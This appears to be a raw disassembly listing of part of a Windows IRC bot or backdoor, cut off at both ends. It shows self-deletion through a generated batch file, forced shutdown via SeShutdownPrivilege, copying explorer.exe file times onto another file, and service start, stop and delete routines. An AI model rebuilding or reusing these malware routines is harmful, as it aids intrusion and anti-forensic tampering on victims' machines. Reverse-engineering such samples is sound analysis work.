jnz short loc_417C5A
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417C5A
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417C5A: ; CODE XREF: sub_417ADD+111j
; sub_417ADD+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C1E0
add esp, 0Ch
loc_417C6D: ; CODE XREF: sub_417ADD+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41AFE0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41D648
pop ecx
test eax, eax
pop ecx
jnz loc_417ED5
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_417DCC
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp esi, 3
jz short loc_417CDB
cmp eax, 1
jnz loc_417DCC
loc_417CDB: ; CODE XREF: sub_417ADD+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D1D
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_417D39
; ---------------------------------------------------------------------------
loc_417D1D: ; CODE XREF: sub_417ADD+207j
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_417D39: ; CODE XREF: sub_417ADD+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
cmp esi, 3
jz short loc_417D62
cmp eax, ebx
jnz short loc_417DCC
loc_417D62: ; CODE XREF: sub_417ADD+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DA7
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417DC5
; ---------------------------------------------------------------------------
loc_417DA7: ; CODE XREF: sub_417ADD+28Fj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417DC5: ; CODE XREF: sub_417ADD+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_417DCC: ; CODE XREF: sub_417ADD+1C9j
; sub_417ADD+1F8j ...
cmp esi, 6
jge loc_417E55
cmp esi, 5
jge short loc_417DED
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
jmp short loc_417E0B
; ---------------------------------------------------------------------------
loc_417DED: ; CODE XREF: sub_417ADD+2FBj
call sub_41B8E2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
loc_417E0B: ; CODE XREF: sub_417ADD+30Ej
call sub_41C798
test eax, eax
jnz short loc_417E2E
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
jmp short loc_417E4B
; ---------------------------------------------------------------------------
loc_417E2E: ; CODE XREF: sub_417ADD+335j
cmp eax, 1
jnz short loc_417E55
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
loc_417E4B: ; CODE XREF: sub_417ADD+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417E55: ; CODE XREF: sub_417ADD+2F2j
; sub_417ADD+354j
cmp [ebp+var_C], 2
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
cmp [ebp+var_C], eax
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417ED5: ; CODE XREF: sub_417ADD+1B1j
; sub_417ADD+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B5F0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp
; sub_401ACD+C28p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_417F79
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_417F79
cmp [ebp+arg_8], esi
jz short loc_417F79
cmp byte ptr [eax], 0
jz short loc_417F79
push ebx
push edi
call sub_426464
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_417F74
push [ebp+arg_4]
push edi
call sub_41B900
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417F6D
sub eax, edi
push eax
push edi
push ebx
call sub_41B5F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41AFE0
push eax
push [ebp+arg_8]
push ebx
call sub_41C1E0
push [ebp+arg_4]
call sub_41AFE0
add eax, esi
push eax
push ebx
call sub_41BEC0
push ebx
push edi
call sub_41BEB0
add esp, 30h
mov esi, edi
loc_417F6D: ; CODE XREF: sub_417EEE+3Cj
push ebx
call sub_41B0B1
pop ecx
loc_417F74: ; CODE XREF: sub_417EEE+2Bj
mov eax, esi
pop ebx
jmp short loc_417F7B
; ---------------------------------------------------------------------------
loc_417F79: ; CODE XREF: sub_417EEE+Cj
; sub_417EEE+13j ...
xor eax, eax
loc_417F7B: ; CODE XREF: sub_417EEE+89j
pop edi
pop esi
pop ebp
retn
sub_417EEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F7F proc near ; CODE XREF: sub_401955+E9p
; ___:004102F0p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41B590
mov esi, [ebp+arg_0]
push esi
call sub_41AFE0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_417FB5
or eax, 0FFFFFFFFh
jmp short loc_418028
; ---------------------------------------------------------------------------
loc_417FB5: ; CODE XREF: sub_417F7F+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_417FD7
loc_417FC1: ; CODE XREF: sub_417F7F+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_417FCE
cmp dl, 0Dh
jnz short loc_417FD2
loc_417FCE: ; CODE XREF: sub_417F7F+48j
and byte ptr [ecx+esi], 0
loc_417FD2: ; CODE XREF: sub_417F7F+4Dj
inc ecx
cmp ecx, eax
jl short loc_417FC1
loc_417FD7: ; CODE XREF: sub_417F7F+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418008
lea edi, [ebp+var_7CC]
loc_417FE4: ; CODE XREF: sub_417F7F+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418003
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418003
cmp ebx, 1F4h
jge short loc_418008
mov [edi], ecx
inc ebx
add edi, 4
loc_418003: ; CODE XREF: sub_417F7F+69j
; sub_417F7F+74j
inc edx
cmp edx, eax
jl short loc_417FE4
loc_418008: ; CODE XREF: sub_417F7F+5Dj
; sub_417F7F+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418026
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41C310
add esp, 0Ch
loc_418026: ; CODE XREF: sub_417F7F+8Ej
mov eax, ebx
loc_418028: ; CODE XREF: sub_417F7F+34j
pop esi
pop ebx
leave
retn
sub_417F7F endp
; =============== S U B R O U T I N E =======================================
sub_41802C proc near ; CODE XREF: sub_418086+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418065
push ebx
mov ebx, edi
loc_418049: ; CODE XREF: sub_41802C+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418068
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418049
pop ebx
loc_418065: ; CODE XREF: sub_41802C+18j
pop edi
pop esi
retn
sub_41802C endp
; =============== S U B R O U T I N E =======================================
sub_418068 proc near ; CODE XREF: sub_41802C+25p
; sub_418086+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41D74C
cmp al, 61h
pop ecx
jl short loc_418083
cmp al, 7Ah
jg short loc_418083
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418083: ; CODE XREF: sub_418068+Ej
; sub_418068+12j
xor eax, eax
retn
sub_418068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418086 proc near ; CODE XREF: ___:0041532Dp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BB20
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41AFE0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41802C
add esp, 14h
dec esi
mov edi, esi
loc_4180C4: ; CODE XREF: sub_418086+B6j
test esi, esi
jle short loc_418142
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41D74C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41813A
loc_4180EA: ; CODE XREF: sub_418086+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418068
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41810B
mov eax, ecx
loc_41810B: ; CODE XREF: sub_418086+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41813E
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41D74C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4180EA
loc_41813A: ; CODE XREF: sub_418086+62j
dec edi
dec esi
jmp short loc_4180C4
; ---------------------------------------------------------------------------
loc_41813E: ; CODE XREF: sub_418086+8Aj
xor eax, eax
jmp short loc_418147
; ---------------------------------------------------------------------------
loc_418142: ; CODE XREF: sub_418086+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418147: ; CODE XREF: sub_418086+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p
; sub_401ACD+789Ep
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 2670897h
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 27D0000h
nop
lea eax, [ebp+var_100]
loc_418185: ; CODE XREF: sub_41814C+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418191
cmp cl, 9
jnz short loc_418194
loc_418191: ; CODE XREF: sub_41814C+3Ej
inc eax
jmp short loc_418185
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_41814C+43j
; sub_41814C+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4181AE
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418194
cmp cl, 21h
jl short loc_418194
loc_4181AE: ; CODE XREF: sub_41814C+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DA72C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41814C endp
; =============== S U B R O U T I N E =======================================
sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp
push esi
push 0
call dword_4CAF44
test eax, eax
jz short loc_41820D
push 1
call dword_4CAF64
mov esi, eax
test esi, esi
jz short loc_41820D
push edi
push esi
nop
call near ptr 27E0622h
push esi
mov edi, eax
nop
call near ptr 27E0000h
call dword_4CAFC8
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41820D: ; CODE XREF: sub_4181D6+Bj
; sub_4181D6+19j
xor eax, eax
pop esi
retn
sub_4181D6 endp
; =============== S U B R O U T I N E =======================================
sub_418211 proc near ; CODE XREF: sub_401ACD+7661p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CAF80
mov ebp, eax
cmp ebp, esi
jz short loc_41828D
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 27F0152h
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 27F0000h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41B886
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CAFD0
push esi
push 1
push 4C9h
push ebp
call dword_4CAFD0
push ebx
nop
call near ptr 27E0BF8h
push edi
nop
call near ptr 26509C6h
push 1
pop eax
pop ebx
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41828D: ; CODE XREF: sub_418211+16j
xor eax, eax
loc_41828F: ; CODE XREF: sub_418211+7Aj
pop edi
pop esi
pop ebp
retn
sub_418211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418293 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CB030
test eax, eax
jz short loc_418332
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 2800000h
push ebx
mov ebx, dword_427068
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call near ptr 27F0757h
nop
push esi
call ebx
loc_418332: ; CODE XREF: sub_418293+2Aj
; sub_418293+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418293 endp
; =============== S U B R O U T I N E =======================================
sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419651
pop ecx
pop ecx
push 50005h
push 6
call dword_4CAEB4
neg eax
sbb eax, eax
neg eax
retn
sub_418337 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418359 proc near ; CODE XREF: sub_401ACD+2754p
; ___:0041686Bp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_41837D
cmp dword_4CB044, esi
jnz short loc_41837D
push esi
call sub_401000
pop ecx
loc_41837D: ; CODE XREF: sub_418359+13j
; sub_418359+1Bj
call sub_40B2BF
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 2690000h
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call near ptr 27008BBh
nop
mov edi, eax
cmp edi, esi
jbe loc_4184DD
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 26F0000h
push edi
nop
call near ptr 26509C6h
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_43D128
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 2680000h
push eax
nop
call near ptr 2660000h
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 2670DABh
cmp eax, 0FFFFFFFFh
jz short loc_418485
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 2670C81h
loc_418485: ; CODE XREF: sub_418359+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 2810000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2650CA5h
loc_4184DD: ; CODE XREF: sub_418359+72j
pop edi
pop esi
leave
retn
sub_418359 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 26C056Ah
nop
cmp [ebp+var_84], 2
jnz short loc_418577
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CAEF4
push edi
push eax
call dword_4CAF04
test eax, eax
jz short loc_418569
push [ebp+arg_10]
push offset dword_43898C
loc_418542: ; CODE XREF: sub_4184E1+94j
lea eax, [ebp+var_294]
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
jmp short loc_4185A1
; ---------------------------------------------------------------------------
loc_418569: ; CODE XREF: sub_4184E1+57j
call near ptr 2670897h
nop
push eax
push offset unk_438964
jmp short loc_418542
; ---------------------------------------------------------------------------
loc_418577: ; CODE XREF: sub_4184E1+3Fj
lea eax, [ebp+var_294]
push offset unk_438934
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4185A1: ; CODE XREF: sub_4184E1+86j
pop edi
leave
retn
sub_4184E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26C056Ah
cmp [ebp+var_90], 4
jnz short loc_4185FA
cmp [ebp+var_8C], 0
jnz short loc_4185E3
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4185FA
leave
retn
; ---------------------------------------------------------------------------
loc_4185E3: ; CODE XREF: sub_4185A4+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4185F5
cmp [ebp+var_8C], 5Ah
jnz short loc_4185FA
loc_4185F5: ; CODE XREF: sub_4185A4+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4185FA: ; CODE XREF: sub_4185A4+27j
; sub_4185A4+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call near ptr 26A0000h
nop
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
nop
call near ptr 26A036Bh
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41D834
lea eax, [ebp+var_F8]
push eax
call sub_41D817
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 279051Eh
mov eax, edi
pop edi
pop esi
leave
retn
sub_4185A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418684 proc near ; CODE XREF: sub_40111D+F7p
; ___:0040E6E2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 2680865h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_427700
call sub_41C798
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418684 endp
; =============== S U B R O U T I N E =======================================
sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418719
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_4389B0[esi]
push edi
push eax
call sub_41873B
add esp, 14h
test eax, eax
jnz short loc_418709
push edi
push off_4389AC[esi]
push offset unk_438AC0
loc_4186F9: ; CODE XREF: sub_4186C1+56j
mov esi, offset dword_4DAFF0
push esi
call sub_41B886
add esp, 10h
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_418709: ; CODE XREF: sub_4186C1+2Aj
push eax
call sub_4187DD
pop ecx
push eax
push edi
push offset unk_438A94
jmp short loc_4186F9
; ---------------------------------------------------------------------------
loc_418719: ; CODE XREF: sub_4186C1+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DAFF0
push off_4389A8[eax*4]
push offset unk_438A70
push esi
call sub_41B886
add esp, 0Ch
loc_418736: ; CODE XREF: sub_4186C1+46j
mov eax, esi
pop edi
pop esi
retn
sub_4186C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41873B proc near ; CODE XREF: sub_4186C1+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CAF68
mov edi, eax
cmp edi, ebx
jnz short loc_418762
call near ptr 2670897h
nop
mov ebx, eax
jmp short loc_4187D7
; ---------------------------------------------------------------------------
loc_418762: ; CODE XREF: sub_41873B+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CAE50
mov esi, eax
cmp esi, ebx
jnz short loc_418782
call near ptr 2670897h
nop
mov ebx, eax
jmp short loc_4187CF
; ---------------------------------------------------------------------------
loc_418782: ; CODE XREF: sub_41873B+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4187B5
cmp eax, 3
jz short loc_4187A6
jle short loc_4187C8
cmp eax, 6
jg short loc_4187C8
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CAEBC
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187A6: ; CODE XREF: sub_41873B+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CAE58
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187B5: ; CODE XREF: sub_41873B+4Dj
push esi
call dword_4CAEC0
loc_4187BC: ; CODE XREF: sub_41873B+69j
; sub_41873B+78j
test eax, eax
jnz short loc_4187C8
call near ptr 2670897h
nop
mov ebx, eax
loc_4187C8: ; CODE XREF: sub_41873B+54j
; sub_41873B+59j ...
push esi
call dword_4CAE6C
loc_4187CF: ; CODE XREF: sub_41873B+45j
push edi
call dword_4CAE6C
pop esi
loc_4187D7: ; CODE XREF: sub_41873B+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_41873B endp
; =============== S U B R O U T I N E =======================================
sub_4187DD proc near ; CODE XREF: sub_4186C1+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418892
jz loc_41888B
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418855
jz short loc_41884B
mov ecx, eax
sub ecx, 3
jz short loc_418841
dec ecx
dec ecx
jz short loc_418837
dec ecx
jz short loc_41882D
sub ecx, 51h
jz short loc_418823
